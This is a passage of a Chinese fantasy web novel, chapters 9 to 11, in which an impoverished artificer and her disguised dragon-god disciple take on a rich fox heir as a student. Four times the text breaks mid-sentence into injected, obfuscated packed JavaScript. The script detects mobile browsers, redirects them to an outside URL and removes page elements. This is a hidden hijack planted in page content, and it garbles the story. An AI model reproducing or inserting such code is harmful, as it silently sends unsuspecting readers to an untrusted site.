十五夜赶紧后退两步,恭顺道:“昨日与二妖相斗时,一时灵力耗尽,身体虚弱,有劳师父照料。徒儿如今并无大碍,稍稍歇息之后,我们继续上山吧。不然,恐怕龙神遗骨被他人捷足先登。” “哦哦。”白骊珠并未察觉十五夜态度的变化,心想,当务之急,当然还是寻找龙神遗骨。十五夜既然未死,他身上的灵骨自然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829629|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取不得,这场师徒相亲的戏码当然还得继续演下去。所谓心急吃不了热豆腐,她应该多一点耐心。 两人翻过一座大山,竟然又在附近发现几具大妖的尸体。同之前见到的雪狼妖一样,他们都是被杀死,并取走了身上的灵骨。 十五夜脸色微寒。 炼器师们可以取死去的妖族的灵骨炼制法器,但是不允许杀妖取骨,否则为妖界公敌,人人得而诛之。这是三年前,龙神溯夜与羽族、兽族、蛇族、虫族四族的几位大君共同建立的契约。 任你修为盖世或者贵为一界之主,都必须遵守这份契约。 这也是为什么他死于无妄劫,莫名其妙在“十五夜”身上复活之后,见到如今青崖遍地都是想要得到龙神遗骨的大妖,并未真正动怒的原因。 说到底,妖界的规则确实如此。龙神死于天劫后,其他人取走他的遗骨也不违此理。 可是眼下,这许多大妖在青崖被杀死,取走灵骨。 身为一族大君,他敏锐地察觉到此事非同寻常。如今青崖聚集了几千名大妖,大部分实力卓著——若非如此,又怎敢到青崖寻宝? 可是越是实力卓著的大妖,身怀灵骨的可能性就越大。将如此多身怀灵骨的大妖聚集起来,如果有心人想要猎妖取骨,青崖就会成为一个巨大的猎杀场。 青崖本有屏障,龙神遇劫而死,本应只限于几位大君知道,究竟是谁将消息大肆宣扬,将原本与世无争的青崖变成如今的血腥之地? 白骊珠也隐隐觉得事情不太对劲,但是她身上并无灵骨,并不怎么担心自己,而是将惴惴的目光投向身后的十五夜,凝重道:“徒儿,事情不太对劲。我怀疑青崖有人专门猎杀大妖……昨天那两只虎妖可能还有同伙。” 十五夜“嗯”了一声。 白骊珠想起昨天的事,又道:“你昨天那样的行为实在太危险了,下次再遇到这样的情况,一定要自己先走。” 十五夜:“可是我走了,师父该怎么办呢?” 白骊珠道:“我身上又没有灵骨,他们应该不会杀我,但你就不一样了。你是我的弟子,我希望你平平安安。” 她心道:你身上的灵骨可比别人的值钱多了,要是不小心被别人取走,我可亏大发了。 十五夜脚步一顿,半晌,还是“嗯”了一声。 9. 第 9 章 黄昏时分,两人找到了一处背风的峡谷,准备扎营休息。忽然,白骊珠看到一道鬼鬼祟祟的人影在附近晃悠,似是朝这边窥视。 白骊珠想起青崖山这些杀妖取骨的事,看谁都像是觊觎自家宝物的盗匪,决定先下手为强。 她转头对十五夜道:“阿夜,你在这等等,我出去探探。” 她悄悄绕到那人身后,一个箭步上去,制住对方双手,将对方胳膊一拧,扭成麻花状,那人咿咿呀呀地呼痛起来,大叫道:“白姑娘,饶命——” 白骊珠听着这声音有点耳熟,将人放开一看,还真是熟人,原来是那天在云林城摆摊时,在隔壁客栈打杂的乌鸦妖乌小孙。 白骊珠疑惑问道:“乌小孙,你怎么也在这里?” 乌小孙看着她,眼睛上上下下提溜了一圈,满意地点了点头,不答反问道:“白姑娘,你是不是很缺钱?” 白骊珠道:“这怎么看出来的?” 乌小孙看了看白骊珠空空如也的行囊和已经磨损的鞋衫,道:“来青崖这一路上,我见过不少来碰运气的大妖了,就属白姑娘您和您的同伴带的东西最少,衣衫最为寒碜……” 白骊珠叹气,她不是今日才缺钱,她是已经缺钱很多年了。别的不提,就为了十五夜那件衣服,她都是当了姑姑当年留给自己的玉坠才能买下。 乌小孙鬼鬼祟祟道:“如今有个冤大头可以宰……不,我是眼下有个挣大钱的机会,白姑娘你需不需要啊……” 能挣钱的机会白骊珠当然是不能错过,连忙问道:“什么机会?” 乌小孙道:“是这样的,我前几天接了一个活。是青丘狐族的三公子纪长怀偷偷离家,来青崖寻宝,要雇一个向导,两百水晶币一天,所以我就跟着这位纪公子一起上了青崖。” 白骊珠当即两眼放光:“两百水晶币一天?这位纪公子也太豪横了吧……” “谁说不是呢?青丘狐族以经商闻名,他们家的商铺遍布妖界五族,可是咱们妖界最有钱的家族了。这位三公子据说年纪轻轻就掌握着青丘的一大半生意。只是,这位纪公子有一桩缺点。” “什么缺点?” “这位纪公子一心只对赚钱有兴趣,年纪轻轻就已经是妖界五族的首富了。但他对修炼不感兴趣,如今的修为是差劲得不得了……” 白骊珠心中寻思,能挣钱也叫缺点?她这么努力学习炼器术,辛辛苦苦上青崖寻宝,还不是因为穷吗?要是她能成为妖界首富,能每天躺在水晶币上睡觉,她还上青崖风餐露宿吗? 至于修为差,修为能当饭吃吗? 当然了,作为一名合格的听众,白骊珠知道乌小孙定有下文,她十分配合地问道:“然后呢?” 乌小孙道:“这位纪公子如今已经三百多岁了,还没有成婚。最近,纪家的家主——也就是她的母亲给他指了一门亲事,可咱们这位纪公子不喜欢那位未婚妻,眼看婚期就在一个月后,这位纪公子逃婚出门。那天我在云林城卖地图,他雇了我作为向导,我们一起到了青崖,最近却遇到了一个问题。” “什么问题?” 乌小孙四下看了一眼,压低声音道:“上山之后,我们见到许多大妖的尸体。纪公子修为不行,担心上山一路遇到危险,所以让我给他雇个保镖,报酬同样是二百水晶币一天。我寻思着这同路上山,可别被人暗害了都不知道,只有知根知底的人才安全,所以想问问白姑娘想不想挣点零花钱花花。” 白骊珠心中一热。 想,她可太想了。 一天两百水晶币,自己一个月也未必能挣那么多钱呢。 但是—— 白骊珠有点忐忑:“可是我的修为也一般般,纪公子既然是要雇保镖,应该是要修为高一点的吧……” 她这三脚猫的功夫,在如今大妖遍地走的青崖,自保都未必能够,怎么保护雇主? 乌小孙朝营地那边的十五夜看了一眼,道:“白姑娘的那位同伴神光内敛,我偷偷观察他很久了,他应该修为极高,就算白姑娘您修为不足,两位一起就没问题了。” 白骊珠目光移向十五夜,喃声道:“他修为极高?” 乌小孙道:“我们妖族以传递消息为生,见过的大妖多了。以我多年识人的经验来说,绝不会错。等等,难道白姑娘不知你这位朋友修为如何吗?” “我当然知道了。”白骊珠急忙掩饰,“还有,他是我的徒弟,可不是朋友。” 乌小孙“哦”了一声:“原来是高徒,真是失敬。”末了他又道:“这可是个难得的挣钱机会,白姑娘你考虑一下,如果可以,我就带你们去见那位纪公子。” 白骊珠犹豫片刻,终究是想挣钱的心思占了上风。 她想,十五夜是她的弟子,按照他们炼器师一行的规矩,徒弟在出师之前挣的钱都归师父所有,师父负责徒弟日常吃穿即可。她都履行师父的义务给他买衣服了,他去给人当保镖,她收钱也十分合理。 她对乌小孙道:“你在这里等着,我一会儿就来。” 白骊珠回到营地,将乌小孙刚才说的事约略给十五夜讲了一遍,然后道:“徒儿啊,你知道如今世道,挣钱不易,眼下可是一个挣钱的好机会,你觉得如何?” 十五夜长眉拧起。 青丘狐族的三公子,他是有印象的。那是兽神陆崖的外甥,他记得三百多年前,那时龙神十五夜还没有归隐青崖,这位三公子周岁时,兽神陆崖请他到青丘吃酒。 他记得他到青丘时,青丘狐族全族欢欣鼓舞,待他如座上宾,生怕他有一点点不快。 他还记得他那时心情不错,赠送了一片水晶鳞片给那位年方周岁的小儿作为周岁礼。狐族很高兴,说有了龙神大人的馈赠的水晶鳞片,三公子一定财星高照,这辈子都不会缺钱了。 三百年后,这位纪公子果然成为妖族首富了,而他堂堂龙神大人竟然为了区区两百水晶币的报酬去给青丘狐族的黄毛小儿做保镖。 这必须是不能的。 想当年龙神大人活着的时候,富可敌国,随便拔点鳞片就可以当钱花。 不,妖界五族,没有谁真正敢让龙神大人拔下水晶鳞片来付账,往往他走到一处,都从者如云,但凡他看上什么,都有人赶紧买下献给他。 总之,当保镖这事是万万不成,龙神大人丢不起这个人。 相处这些天,白骊珠也差不多摸清楚了这徒弟的性格。若是他抿唇不言不语,这事多半就是不情愿了。 晓之以理既然失败,就只能动之以情了。 白骊珠将视线投向十五夜身上的银蓝色春水纹锦袍,道:“徒儿啊,你可记得前几天为了给你买这件新衣服,师父连姑姑留下的玉坠子都当掉了。这次若是上青崖得不到龙神遗骨,我们连赎回姑姑遗物的钱都没有了……反正我们也是要上山,就当和这位纪公子同行一程就行,你觉得如何?” 她比平时多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829630|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了几分低声下气,十五夜想起那日在成衣店外,她当掉玉坠时那不舍的眼神,心里突然一软。 他如今已经不是水族高高在上的龙神大人,如今连吃穿都仰赖白骊珠,他的一点点可笑的自尊能当饭吃吗? 显然不能。 再一想,给纪家三公子当保镖的是十五夜。只要他不说出自己是龙神,不会有人知道他的身份。 他嗓音低哑:“一切由师父做主便是。” *** 片刻之后,白骊珠和十五夜回到乌小孙面前。 乌小孙见两人结伴而来,笑逐颜开:“看来两位是商量好了。” 白骊珠面带笑容:“一天两百水晶币,每日现结,少一个子都不行——” 乌小孙:“白姑娘放心,纪公子是体面人,绝不会少您二位一分钱的。” 三人走出不远,便看到一处营地。营地之中生起篝火,篝火之侧坐着一位相貌英俊、穿着贵气的男子。男子不仅衣饰华贵,手中那柄折扇,一眼就能看出灵气逼人,想必此人便是乌小孙口中的青丘狐族三公子纪长怀,他们未来的财神爷了。 白骊珠正要过去,乌小孙忽然拉住她,道:“等等,有人来了。” 山中林木茂密,乌小孙拉着两人到了一个大树后藏起来。 林中传来金铃声响,只见一名紫衣女子从不远处行来。女子身量欣长,肌肤如雪,面容精致完美,透着丝丝冷傲气质。 白骊珠小声嘀咕道:“这可是个大美人呢。” 乌小孙道:“白姑娘没听说过吗?这位紫凰郡主是目前的妖界第一美人,而且修为极高,是羽族之主女王翎天的侄女,也是纪公子的未婚妻。” 白骊珠先前听乌小孙说起,她未来的雇主正是为了逃婚才跑到青崖来,还以为他那未婚妻是什么歪瓜裂枣,这一看,这位纪公子显然是身在福中不知福啊。 乌小孙瘪嘴道,“蔷薇有刺,海棠无香,这紫凰郡主可凶得很。先前,纪公子用了一张价值不菲的遁地符,我们才从紫凰郡主手中逃脱,没想到不过一天她就追了上来。看来这次纪公子危险了……” 纪长怀远远见到紫凰郡主,就像见到猫的老鼠,拔腿就跑,可惜这位纪长怀修为真的很不咋地,还没跑两步,就被紫衣女子抓了回来,扔在地上,一身华贵的衣袍沾染泥灰,看起来颇为狼狈。 紫凰郡主一个耳光拍了下去,纪长怀脸上登时浮起红肿的巴掌印。紫凰郡主恶狠狠道:“纪长怀,你还是不是男人,一看到我就跑得比耗子还快。我就问你,青丘狐族和我羲和宫的婚约你认不认,打不打算履约?” 纪长怀面色铁青:“紫凰郡主休得多言!我纪长怀就是从悬崖上跳下去,也绝不会娶一个河东狮、母老虎为妻——” 紫凰郡主揪着他的后领,到了悬崖边上:“来,你跳,跳呀——” 她气急败坏道:“纪长怀,我告诉你,你现在就从这里跳下去。明天我就带着你的尸体回青丘,和你的牌位结婚——” 纪长怀气恨已极:“跳就跳,你愿意和牌位结婚就结,你休想我纪长怀会屈服——” 他一副生无可恋的表情,可心中到底害怕,站在悬崖边上,双腿战战。 躲在树后面的白骊珠一下子慌了。 要是纪长怀真的宁死不屈,跳崖死了,她每天两百水晶币的美差不就泡汤了吗? 还没开始打工,老板就跳崖了,这件事她白骊珠绝不允许。 10. 第 10 章 白骊珠从树后走出来,大喊道:“纪公子,等等,你不能死——” 紫凰郡主笃定纪长怀并不敢跳崖,只是想着逼他就范。这戏才唱到一半,就有一个不知天高地厚的小妖出来捣乱。 “哪里来的小妖,敢管本郡主的闲事——” 她看了看白骊珠清丽的面容,忽然冷声道:“我道长怀为什么逃婚,原来是在外面有相好的了,哪里来的贱蹄子,也敢和本郡主抢男人……也不照照镜子,看看自己什么身份——” 她似乎有抽人耳光的爱好,顺手抬掌,朝白骊珠脸上拍去。 掌风迎面而来,白骊珠想起纪长怀脸上的巴掌印,连忙护住脸:“打人不打脸——” 她话音未落,一人将她拉到身后。她睁眼时,只见十五夜高大的身影站在她面前,右手架着紫凰郡主的胳膊,拦住了紫凰郡主拍下的一掌,眼神中带着警告。 紫凰郡主向来跋扈惯了,她是羽族最骄傲的小郡主,在妖界不管遇到谁,都得礼让她三分,她何时受过这种委屈,对十五夜怒目而视:“你是谁?竟然管本郡主的事——” 十五夜神情冷峻道:“我是她的徒弟,我奉劝你对我师父放尊重点。” 紫凰郡主目光一睨:“尊重都是人给的,她抢别人的男人,我打她一巴掌都是轻的——” 白骊珠终于忍不了了,“谁和你抢男人了,我根本不认识他,只是看不惯你这种人。别人明明不喜欢你,你还非得逼人家和你结婚。甚至还要逼死人和牌位结婚,我看你爱的根本不是纪公子,而是青丘纪家的财产吧——” 紫凰郡主被猜中心思,也毫不羞惭,道:“是又怎样,青丘纪家身为妖界首富,可惜继承人却是个文不能文、武不能武、只会赚钱的废物。”她神态傲慢:“我紫凰郡主出身高贵,修为又高,他纪长怀只有娶了我,他们纪家的生意才能便继续做大做强。要不你看,随随来个人都能欺负得他抬不起头来……” 白骊珠十分无语,这不是遇到像你这样不讲理的人,这位纪公子才会被欺负得抬不起头吗?你怎么还骄傲上了呢? 白骊珠拳头硬了。 若是平时,她说不定就路见不平、拔刀相助一下,但是,如果目标是羽族的郡主,对不起,这刀有点锈了,拔不出来。 她宽慰自己道,不过是为了区区一点水晶币,大可不必,大可不必。 她正要后退,她的右手忽然不由自主,一巴掌拍在紫凰郡主脸上,紫凰郡主的脸上瞬间肿起。 紫凰郡主怒不可遏:“你敢打我——” 不,不是我…… 白骊珠正要解释,嘴唇却被一只手指按住,十五夜不知什么时候到了她的旁边,“师父,你去向紫凰郡主挑战……” 白骊珠眼神惊恐。 不,我哪打得过紫凰郡主啊。 她只是一个小小炼器师,武力值就算比纪长怀强一点,那也肯定不是紫凰郡主的对手啊? 十五夜凑在她的耳侧,低声道“师父,你难道不想要收纪长怀的保护费……你放心,紫凰郡主伤不到你,开战之前你就说让徒弟代你出战……等赢了之后,你就给纪长怀说一天两百太少,五百水晶币才够……” 白骊珠恍然大悟。 十五夜之前还不情愿当保镖,这会倒是知道赚钱不易了,想在未来的老板面前一展身手,提高自己的议价能力,趁机要求涨工钱。 真是孺子可教也。 看着十五夜渊渟岳峙、泰然自若的神情,她想起之前乌小孙的话:“白姑娘的那位同伴神光内敛,我偷偷观察他很久了,他应该修为极高,只是身体不好,限制了他的发挥。” 嗯嗯,看起来还挺像那么回事的。 难道她以前低估这捡来的徒弟了?竟然还是个隐藏的高手。 白骊珠顿时趾高气扬起来:“紫凰郡主,你是不是觉得修为高就可以为所欲为?” 紫凰郡主哼了一声,“当然。” 白骊珠接口道:“既然如此,我要向你挑战。我要是赢了,你就滚远点;我要是输了,我就滚远点,这很公平吧,你觉得怎么样?” 紫凰郡主冷嗤一声:“你既然找死,那便由你。” 她“嗖”地一声拔出身后背的宝剑,剑光如水,剑声铮然,她正要出剑,白骊珠又大喊道:“等等……” 紫凰郡主不耐烦道:“等什么?” 白骊珠捂着肚子道:“我突然肚子不太舒服,就由我的徒弟代我出战。” 紫凰郡主不屑道:“不用耍这些花样,你们谁来都是一样。” 紫凰郡主向来目高于顶,打心眼里觉得这对师徒不可能是自己的对手,她御使长剑,足下生风,一剑向十五夜刺去。 十五夜站在原地不动,双手随意一夹,紫凰郡主那柄威风凛凛的宝剑竟然被他夹住,动弹不得。 紫凰郡主双目圆睁,满面怒气,使出吃奶的力气想要拔出自己的宝剑,可是十五夜双指之间似乎有一股吸力死死吸住她的宝剑,纹丝不动。 十五夜轻轻弹指,她那双削铁如泥的宝剑竟然断成两截,下半部分仍在握在她的手上,剑尖跌落地上,已然废了。 紫凰郡主露出不可置信的神情:“你,你,你……” 她实在无法接受,自己竟然一招就败了。甚至连姑姑羽族女王翎天送给她的宝剑都被轻而易举地折断。 白骊珠见十五夜赢了,狐假虎威道:“你什么你?原来堂堂紫凰郡主只是嘴上威风,居然却连我的徒儿也敌不过,根本不配让我出手。愿赌服输,怎么,你还不走吗?” 紫凰郡主狠狠剜了她一眼:“你们好大的狗胆,竟然折断姑姑送给我的神剑,等我回去告诉姑姑,她定然饶不了你们。” 她捡起地上的剑尖,转身离开。 纪长怀见紫凰郡主离开,也从悬崖边上退了回来。他舒了一口气,上前行礼道:“多谢两位帮忙,请问两位如何称呼?” 乌小孙从树后面钻了出来,道:“纪公子,这位是白骊珠白姑娘,旁边这位是她的弟子十五夜。他们俩正是我今日寻来的保镖,保护公子上青崖。” 白骊珠也趁机邀功,“纪公子放心,有我和我徒儿二人,定能保护纪公子安全上青崖——” 她一边说话,一边拍了拍十五夜的肩膀,“刚才紫凰郡主被我徒儿打得落花流水,想必接下来不会再来生事了。” 纪长怀看向十五夜,目光灼灼:“白姑娘,这位兄弟只是姑娘您的弟子?紫凰郡主的修为很高,一般人根本不是对手,想不到这位小兄弟竟然一招就折断她的佩剑。” 白骊眯弯了眼睛。毕竟徒弟大出风头,师父也与有荣焉,只要纪长怀点头,她的水晶币就稳稳落袋了。 她抓紧机会自吹自擂:“当然,名师出高徒嘛。师父教得好,弟子自然厉害。我们一定可以保护纪公子安全上青崖——” “名师出高徒……名师出高徒……”纪长怀原本迷茫的眼神瞬间绽放出狂热的光芒,他向白骊珠单膝跪下:“师父在上,请受弟子一拜——” 什么?拜师? 白骊珠诧异地看向乌小孙。 这和你之前说的剧本不一样啊? 乌小孙也被纪长怀这突如其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829631|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的阵势吓了一跳,他连忙要去扶纪长怀起来,道:“纪公子,咱之前不是说好了,去找个修为好点的高手,护着咱们上青崖,每天两百水晶币吗?” “我现在改变了主意。”纪长怀在地上一跪不起,语气坚定:“正所谓名师出高徒,这位兄弟既有如此身手,想必这位白姑娘更是了得。这段时间的经历,让我已经明白了,我只有自己变强,才能摆脱和紫凰郡主的婚约。” “所以,我要拜白姑娘为师。”他指了指十五夜,“我将来要像这位师兄一样厉害——” 十五夜不发一言,嘴角弯出讥诮的弧度。 理想很丰满,只是拜师拜错了对象,他原身“十五夜”的这位师父,花架子还可以,使劲拍一掌出去,能震断一根树枝就不错了。 不过,爱财如命的白骊珠显然不在乎这些。她听到纪长怀要拜师,觉得自己果然是时来运转了。 自从有了十五夜这个徒弟之后,她等于是有了一个定期账户。只要等十五夜挂掉,她就可以得到他身上的灵骨。 要是再有一个妖界首富的作为二徒弟,这不是等于又有了一个巨额的活期账户吗? 至于纪长怀本人能不能练得和十五夜一样厉害,她可保证不了。毕竟每个人的资质都是不同的。青丘狐族既不缺钱也不缺人,都没能将纪长怀培养成一代高手。她一个半路认识的师父,做不到也很正常嘛! 趁此机会多搞钱才是硬道理。 想到这里,白骊珠脸上那市侩的笑容更浓郁了些:“纪公子,拜师也不是不行,但拜师和保镖的价钱是不一样的……” 纪长怀也是很懂尊师重道的:“当然,弟子愿意付每日六百水晶币作为束脩,以后跟着师父好好学本领,直到跟师兄一样厉害为止。” 他掏出一只钱袋,道:“这里有两万水晶币,就当是第一个月的束脩了。” 十五夜翻了个白眼,心道,就算天荒地老,学到你纪家破产这也是不可能的。 白骊珠大喜,这当师父的价钱是当保镖的三倍,傻子也知道怎么选。 当然了,她不能表现得跟没见过钱似的,有损“高人”的门面。她接过钱袋,做出一副泰然自若的模样,煞有介事道:“拜师有拜师的规矩,你既然是我的徒弟,就当事事听从我的指令,师父的事情就是你的事情。” 纪长怀点头:“这是自然。” 白骊珠表示很满意:“很好,从今日开始,你就是为师的二弟子了。” 纪长怀立刻行了拜师大礼,叫道:“师父。” 白骊珠把玩着沉甸甸的钱袋,心情极好,正式介绍起来:“爱徒,这是你师兄十五夜。只要你刻苦学习,将来是一定能够像你师兄一样厉害的。” 十五夜的脸色微不可察地冷了一瞬。她平常称呼他为“徒儿”,如今对着一个新收的弟子,“爱徒”张口就来。忽然,他替“十五夜”感到不值。“十五夜”视师父如性命,甚至两人之间结下爱契,但是在白骊珠心中,似乎也并非不可替代。 纪长怀上前,亲热地叫了一声:“师兄。” 十五夜突然看他不顺眼,冷冷哼了一声,转身离开,找到一棵大树靠着休息。 纪长怀不解其意,看向白骊珠:“师父,师兄他是不是不喜欢我?” 白骊珠心情正好,想十五夜平日里本来也不怎么搭理人,打圆场道:“不用管他,你师兄性格不好,你不用和他计较。” 十五夜离得有点远,倒也将白骊珠的话听得一清二楚。他的脸更黑了,他性格不好,她昨天晚上对他上下其手的时候,怎么不说他性格不好。 11. 第 11 章 白骊珠赶了一天路,这会儿又饿又累,看向不远处的一座木屋,招呼道:“那边有座屋子,我们进去暂住一晚,明天再上山吧。” 她背着行囊,就往前走。 纪长怀拦住她,认真道:“师父,那是西陵神女的神庙,我们进去上一炷香可以,但是这里可住不得。” “西陵神女的神庙?青崖上还有这东西?这西陵神女又是谁?” 白骊珠走到小木屋前,见这小木屋依山而建,面积并不算大,只有前后两进,饱经风吹日晒,木柱上已经有了不少裂纹,门楣上写着“神女祠”三个字。 比起山下新修的那些房子,这座小木屋显然是有些年头了。 白骊珠想了想,好奇道:“原来青崖上除了龙神溯夜,还有其他人居住过。这什么西陵神女和龙神溯夜有什么关系?” 她直觉这里面有八卦。 纪长怀不可置信地看着她:“西陵神女和龙神溯夜大有关系,师父您没有读过《西陵纪事》这本书吗?” 白骊珠摇摇头:“没有。” 纪长怀眉飞色舞地讲起故事:“那是三百年前,被封印在西陵泽的魔族破封而出,龙神溯夜率领妖族大军奋起抵抗。西陵泽的水中有一位神女,她仰慕龙神溯夜,决定帮助龙神平定魔族之乱。神女将自己作为祭仪,跳入封魔井,封印了魔渊。龙神溯夜为神女的精神所感动,千方百计地寻找神女的遗体,并使用龙神之心的力量将神女复活。大战结束后,龙神回到了青崖,神女在青崖山底结庐而居,日日对着青崖的方向,她住的地方就是我们面前这座神女祠了。” 白骊珠看着这处木屋,心中莫名觉得熟悉,“是吗?想不到还有这样的故事,那我们进去拜拜神女,请她保佑我们这一趟青崖之行一切顺利。” 她走到神祠中供奉的神女像前,就要下拜,十五夜拦住她:“别拜了,这西陵神女的故事分明是有人胡编乱造的。什么狐祠野庙,不值得一拜。” 龙神大人脸色铁青,想不到他在青崖闭关三百年,竟然有人凭空污人清白,编造他的绯闻来博人眼球,还在他的地盘盖了这么一座神女祠,骗取香火。 什么西陵神女,他根本没有听过。西陵泽是魔域入口,一向被视为妖族禁地,什么时候有过一位西陵神女。 也不知这些年,妖界是由谁主事,放任这等不着调的故事在妖界广为流传,真是世风日下、人心不古。等他查出这《西陵纪事》是谁的手笔,定要将人抓了从重治罪。 纪长怀可不乐意了,嚷嚷道:“谁胡编乱造了,自从三百年前龙神大人隐退青崖,妖界便由羽族女君翎天大人主事。《西陵纪事》也是女君亲自审阅后才流传天下,也有人像你这般质疑此书作伪,向翎天大人求证。翎天大人却说‘假语的背后未必没有真相,西陵神女在西陵泽封魔之战中确实居功甚伟,不该就此埋没’,嘿,妖界谁不知道羽族女君翎天威严公正,从不屑说谎,这西陵神女的故事确有其事也说不定……再说了,师父拜一下神女祠你也要管,懂不懂什么叫作徒弟的本分……” 纪长怀觉得今天要好好给师兄示范一下什么叫身为徒弟的本分,他不知从哪儿找出香烛,点燃,放在白骊珠手上,道:“师父,现在可以拜了……” 白骊珠将香烛插在石像前,又拜了三拜,在心中祝祷了一番。 她倒不是真的要神明保佑什么,从前姑姑在时,给她说过三百年的西陵泽的战事。三百年前,魔族破封,妖界五族无数大妖参战,伤亡无数,最终重新封印魔族,妖界才有了如今的安稳岁月。 这西陵神女既然参加过三百年的西陵泽之战,一炷香火便也受得。 她拜完起身,纪长怀看着上首的石像,又看看白骊珠,奇道:“师父,你有没有觉得这西陵神女的石像和师父你有几分相似……” 白骊珠之前没注意到这西陵神女的模样,闻言看去,只见这石像上半身是一个女体,面容确实和她有几分相似,下半身乃是半截鱼尾,鳞片好像也是金边银鳞,多半是出身于白鱼一族。 向导乌小孙也凑了过来,问道:“这西陵神女的故事我也听过,听说神女是白鱼一族出身,难道白姑娘没听族中长辈说过这西陵神女的事吗?” 白骊珠摇头:“没有。” 自长月海覆灭之后,白鱼一族就仅剩下她和姑姑白舒眉。 难道这西陵神女是她的姑姑白舒眉?可在她的记忆中姑姑一直住在西陆的濯水居,从来没来过青崖。 当然了,想不明白的事白骊珠也并不纠结,道:“这世界上长得相似的人多了,也许这西陵神女真的和我有渊源也说不定。今日天色已晚,这神祠避风,我们就在这里扎营,休息一晚吧。” 乌小孙从周围拾了一些干柴,燃起篝火,白骊珠从行囊中取出今日份的干粮来。 这烧饼是出发那天在山脚买的,放了几天都有些掉渣了。白骊珠也不是挑剔的人,她熟练地折了两根树枝,将烧饼串起来放在火上烤。 纪长怀见了,连忙道:“师父,让我来吧……” 白骊珠客气道:“不用。” 谁知纪长怀已经抢过串着烧饼的树枝道:“师父有事,弟子服其劳,这都是做徒弟的本分。”他指了指旁边的一块大石头:“师父你先在上面休息一会儿,等食物熟了弟子便服侍师父用饭。” 这徒弟真上道。 白骊珠靠在石头上,感觉一阵疲惫,很快就进入了梦乡。 再醒时,鼻尖传来食物的香气,一抬眼,只见不远处的草地上铺了一张草席,草席上摆着各种食物,除却她方才拿出来的两只烧饼,还有几样点心、蜜饯、干果,篝火燃得更旺了,纪长怀正烤着两只剥了皮的野兔,木柴烧得毕剥毕剥的,野兔散发着诱人的肉香。 白骊珠不自觉食指大动,咋呼一声:“好香啊——” 纪长怀见她醒了,请她到草席上坐着,乌小孙亦在一旁陪坐。 纪长怀亲自为她布好碗筷调羹,自己则跪坐在一旁,用筷子将烤好的兔肉撕成小块,放入白骊珠面前的餐盘之中。 白骊珠好久没有吃过这般美味的食物——她最近穷得叮当响,每顿饭都只能以最便宜的烧饼果腹。她嘴巴被肉塞得鼓鼓囊囊,一边吃一边客气道:“长怀,你也别光顾着我,你自己也吃啊……” 纪长怀并不着急,他将那装干果的盘子拿到近前,将花生剥了壳,放到白骊珠盘中,恭敬道:“师父还没有用膳完毕,弟子理应在师父身前服侍。等师父用完,弟子才可用膳,这也是身为徒弟的本分。” 白骊珠吃了两口兔肉,只觉肉香酥嫩,口舌生津,满口余香,听了这话更是身心舒畅,心道这青丘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829632|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪家的门风果然不错,教出来的弟子果然很懂尊师重道。 她忽地想起自己的另外一个徒弟来,便道:“你师兄还没用饭,你去叫他也吃点。” 纪长怀为难道:“禀师父,方才师父睡觉的时候我就去过了,师兄……师兄他不理我……”纪长怀的表情颇有些委屈:“我是不是不小心得罪他了……” 白骊珠劝解道:“哪有的事,他就是脾气不好。我去叫他。” 她向外走了十几步,见十五夜抱着双臂靠在树上,抬眼望天,看到她过来,才淡淡掀了一下眼皮子。 白骊珠道:“十五夜,你师弟刚才叫你吃饭,你怎么不去?” 十五夜道:“我正想向师父请辞,如今师父身边已经有了小师弟。师弟比我懂事守本分,会服侍师父,也不需要我时时刻刻陪在身边……” 在白骊珠睡觉休息的这会,他在附近又闻到了血腥味,想必又有大妖被人猎杀。 他心中有几分忧虑,青崖这么多大妖莫名死亡,身为青崖之主、水族大君,他有责任查清此事,让一切水落石出。 如今白骊珠既然阴差阳错地成为青丘少主的师父,有了别的徒弟相伴,或许到了他该离开的时候。等他到了雪顶天池,回到自己本来的身体,“十五夜”自然能够回归。 他们师徒二人之间究竟是什么关系,龙神大人根本没兴趣知道。 白骊珠听了他这一番话,微微一怔。 开什么玩笑,她的移动宝箱这是长了脚想跑,这怎么可以。 